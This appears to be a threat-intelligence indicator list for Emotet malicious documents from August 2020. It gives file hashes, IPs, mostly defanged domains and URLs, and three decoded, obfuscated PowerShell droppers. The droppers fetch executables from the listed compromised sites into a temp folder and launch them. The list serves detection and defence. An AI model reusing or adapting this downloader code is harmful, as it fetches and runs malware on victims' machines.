Emotet_Doc_out_2020-08-18_12_05.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:

4b2c463c130aa9358e9853fd7af4e476c3f9721168623f6befc47050979d936e
5c8b923944c5816b259806159d34a3d379b2c8f347ef3b69cbc5b18f60637d93
a2abd583b4e4caacffb06a486754338888f244c02fbadfeb9c74b6d0260c25e6
e7007d098ff3b77d307fdffbc2b566e6396298bfb9718bd207a8b377aca0b96a
8e917ba2db15e3b72b3f9a8c539719993270cb53a0d779cf77c22dab3c48ba14
d2059efbb4bbbb1bbafc82ce09984c631cd46888fa36a570b8e40319766e4c35
cbae984f113307015e9a42c646507cd4fecbc37c1ce7ed2fa9d731fdfff7e00f
aecb14f5fd610dae65d94c788e6451f3f073561c8c00b0b62b4cf9d710c570ed
78159b47ee6e43a81e5f727e9f01d56700fb22cca0c9f6cde333e91c0130dee3
e284647edaee2ed25f77af25077cf6abe3b9339e1890a0cae20dbfdc5bf1399f
503c77f99b0c8271cb80a1101e69d6c9060647f7a4a8451c23aae49bd344b634
14af02c786ea12c4843ad6860839b102eb8e62ee07901297724c921065dc3081
9f6acf9a0b1abf9481a13650ecdec0e7a9cb7a4c30938c2ffcca8da0934a96d2
e2f0cb86eadbea45515eddee89bc46912333b4bf97129ee3cb33951aae3c3fc4
5b2f315f6910580a86de6995dc3bb3af0bba726b0292875fbeeb557d17759d57
b4391434a4bd48c6f939fb55a7ed439917514aa935d56b3bf82123bcf44d1d54
41f1e702b57bab0ebc27e61570867b5417e34c5aa1b9046382207f7f62fd15ad
5adc805efc11587406fafe7de5332a37288953281fa45d077d79efd4b84a4410
97c4a455a266f18df4c26ce82ca2dce9c1411c24b190098b54f0ea98299c6025
7f43631f90c634b619bdcee6c8353e998541fad6790dc63774b1cf0cd1fbed67
4dba7674a65d6c5e1cd3a1ad7226c21f0b91705ac0a61326e58044947a641cac
ce7f5157d0128d0740ec074ee8db6dd03e234c410111f7aa6832f7adc820cfe0
8e753065e300156e56580de3e895fe3aa55d7ec678c49eb160e2ca68534519c0
a7c86fe81531f07b7120be70ff6f16519758654ccc7ae3c901cea8d36e3a21c9
08c50addda3b42db251a58aea5ee64018bd92bee3bccc61fd1f24b8f1b352a69
26db3179e1151f412ec9d5bb423d2acb8dfd4ef3adf67dc52e98646e1dabbfbc
1155743b446edd7735d9d8ed8687db0ee01b2230b0e87ba307f6f6a730bb38d2
de7fd9eac5e5ecbf8e793422b73a8ba6efb5b97d1432e902106ea04bacf14a94
22c0f4e992bbe008bc8662329a78df594f5a5878400732952ef07f4cf83f3e48
b1a5b0c45a385a514d7ee49f36e2df92b90949faf44927ad0a6540f39686a5f4
c05713068f1705d81e3bcdac768839b40dafb7f82ac746d7b3933d60a22b29a8
94e51fa641e5b3a8e7516bab8ef519893aacd7d2328919f853585ac02e2a9899
13f007247a133e15c91b87cca369b39cc7b383603cbe773fb626e306a41a99d3
f69601f9864bbeea46bf1889eaa312af133ec9e123070328a9bcebca523498d9
702c159af504d46bf306ca308aca23869b002d000423b17834506e0465b12df1
9ba1f593e77d663b73ca37090d03a3fb4b9046b625ff9ec1d00a34893fda3ff0
5cd6999ce87dc9415eec3e4277509ab4019c0dd0b086f7dd931154108deb6a52
d0f2e774501d0aeea50a4ff21e17e958634c50bc481fff9f01ba41ae7355947c
63fc7bb7b01996cde65e632380bdd0c32da6c7245e64b85e45bcfcb4fb5e0af4
3a1b4e159222a6739951372391c9baac6618ca03702238a85423f720225591c6
6fa1409aee3b7332250c43cf6e6106c62bb9c6efd8f82ad49580164b45aff608
af643dba5886cc3402429f593ef1a71d7cb377f0bca3dad9302fa1803a9b2324
8e7351f409ea3bafcb21e9b63e826625bd93d365c0feaff265ef7777c0f5e116
ea9dfb49de29351fb9fae1e80177b3ed473f9229e5da8e2ae5eea121deb29760
77fbb539ddb2abc10dbbd056cd960899d723297cd2a680baba3a8f7180a2c59b
1e90425ec5f280794dcdf20c9e88789f38d0adb4b2ecfd0a9cdc3996930f52d8
b112d8627b556a0c0ac19e877bdfe439b82cb1a1985603fa5c3a8b3de73a4fe0
29102965716e1fdfb0e0a9a633c56e9f1a6a17e0c8bcdabdf8efc3f37efd76e6
7c86327f0deeab1d9dd791f64c58e46fa7efdc401dbabe6013a80fa09fab74a8
248558f5b8547279882c012169b965765eab106c30275d475e3de2ba02e6c7e6
4e87fcc221d74df7d333623ad839fced4d060cd1b297adb04bd6f295d83890d3
6f0f54737b574488c42223ae81bd83ea0da431f0732413951fe4572ca19e6442
7e2991455103c6991e0b185681b90bc399d56d350e8a3553ec90b5bf6d99f2c1


IPs:
162.214.65.60
167.114.252.85
173.249.157.230
45.173.88.33
68.44.137.144
69.30.203.214
83.150.213.216

Domains:

micromex.com
www.marcovacca.com
www.meltonian.net
mikespub.net
1kocicikralovstvi.cz
clanspectre.com
www.fantasticz.org
fanction.jp
fourserious.com
fastfoodz.atwebpages.com
defiteqturkiye.com
www.electropixel.com
elevationadvertising.com
etawala.com
diamondbraintutor.com

URLs:

hxxps://micromex.com/wordpress/fQ4dV31/
hxxp://www.marcovacca.com/img_albums/nzb/
hxxp://www.meltonian.net/AjpEE/
hxxp://mikespub.net/azure/o3J/
hxxp://1kocicikralovstvi.cz/wp-includes/3z/
hxxp://clanspectre.com/0_x9_l86icl169v/
hxxp://www.fantasticz.org/y9p_ibr_oiwq7ke/
hxxp://fanction.jp/assets/9s_yy_qt7jz09ve/
hxxp://fourserious.com/wtof8_t_m9qazq4o2/
hxxp://fastfoodz.atwebpages.com/wp-admin/jb8_k_g9d3v7/
hxxp://defiteqturkiye.com/Uh/
hxxp://www.electropixel.com/Te8qO04/
hxxp://elevationadvertising.com/mobile/cb595319/
hxxp://etawala.com/bae05905/
hxxp://diamondbraintutor.com/wp-includes/2G33O54/





Decoded Base64 Powershell:
$Dq9q9mo=('Z72yb8r');
&('new-item') $env:tEMP\OffiCE2019 -itemtype diRecTORy;
[Net.ServicePointManager]::"seCUriTYP`RO`T`OcOl" = ('tls12, tls11, tls');
$Us1p12g = ('Atmgo6');
$K1q4pck=('Gy452hn');
$Cs6w69c=$env:temp+(('{0}Office2019{0}')-F[chAR]92)+$Us1p12g+('.exe');
$Te4x_ho=('Wbsphp_');
$I5vpzjq=.('new-object') NeT.WEbCliENt;
$J4ev94z=('https://micromex.com/wordpress/fQ4dV31/
hxxp://www.marcovacca.com/img_albums/nzb/
hxxp://www.meltonian.net/AjpEE/
hxxp://mikespub.net/azure/o3J/
hxxp://1kocicikralovstvi.cz/wp-includes/3z/')."S`pliT"([char]42);
$Hit1su0=('Sos_jd2');
foreach($Z6q9ge4 in $J4ev94z){try{$I5vpzjq."Dow`NL`oA`DfILe"($Z6q9ge4, $Cs6w69c);
$Qqvcwii=('I49ou7k');
If ((.('Get-Item') $Cs6w69c)."Le`NgTh" -ge 36346) {&('Invoke-Item')($Cs6w69c);
$Nuszxvh=('V8v1oo3');
break;
$N2259yc=('Ip1xup5')}}catch{}}$Rm1uila=('J93lxs8')$Rsr6itx=('Aug_0s9');
.('new-item') $eNV:TEmP\office2019 -itemtype dIrectory;
[Net.ServicePointManager]::"SEcU`Ri`TyprO`T`oCOL" = ('tls12, tls11, tls');
$A_7oeyb = ('Lwxms9o');
$B8g966r=('T1ubozj');
$Qfjk49e=$env:temp+(('{0}Office2019{0}') -F [cHAR]92)+$A_7oeyb+('.exe');
$Nqki3fv=('Bq0tbzp');
$H_djs3h=&('new-object') neT.weBClient;
$Fgqh92j=('hxxp://clanspectre.com/0_x9_l86icl169v/
hxxp://www.fantasticz.org/y9p_ibr_oiwq7ke/
hxxp://fanction.jp/assets/9s_yy_qt7jz09ve/
http://fourserious.com/wtof8_t_m9qazq4o2/
hxxp://fastfoodz.atwebpages.com/wp-admin/jb8_k_g9d3v7/')."sp`LiT"([char]42);
$Ci4lnz9=('Cuii98b');
foreach($H4xit6t in $Fgqh92j){try{$H_djs3h."dOwNLo`A`DFILE"($H4xit6t, $Qfjk49e);
$It5bxgs=('Ix7p80w');
If ((&('Get-Item') $Qfjk49e)."Len`gTh" -ge 21054) {.('Invoke-Item')($Qfjk49e);
$U9g8025=('Dfh9mwg');
break;
$Fhs7oe9=('X015tjf')}}catch{}}$E9e076n=('Ztsak0_')$Yzlxjpj=('Ofl1x67');
&('new-item') $EnV:TemP\offiCE2019 -itemtype DIrEcTOry;
[Net.ServicePointManager]::"sE`c`URIt`YPr`OTOC`oL" = ('tls12, tls11, tls');
$Pyzn4nw = ('Unrm2w6dd');
$S0oadp1=('I0jjv9u');
$J5gkdpt=$env:temp+(('{0}Office2019{0}')  -f[Char]92)+$Pyzn4nw+('.exe');
$T9e5g24=('Op8k6l5');
$Nzg5f87=.('new-object') net.weBCLIeNt;
$Nw1lwdn=('hxxp://defiteqturkiye.com/Uh/
hxxp://www.electropixel.com/Te8qO04/
hxxp://elevationadvertising.com/mobile/cb595319/
http://etawala.com/bae05905/
hxxp://diamondbraintutor.com/wp-includes/2G33O54/')."SPL`iT"([char]42);
$Onzlotc=('Art8zt3');
foreach($Ul3jyv7 in $Nw1lwdn){try{$Nzg5f87."d`ow`NLoaD`FilE"($Ul3jyv7, $J5gkdpt);
$Tn78_j1=('Dyqytpl');
If ((.('Get-Item') $J5gkdpt)."l`En`GTh" -ge 20439) {&('Invoke-Item')($J5gkdpt);
$B1iij_h=('F51i7ca');
break;
$Jssq8ik=('Tf2cpnv')}}catch{}}$M3x5uls=('Rb3q_2j')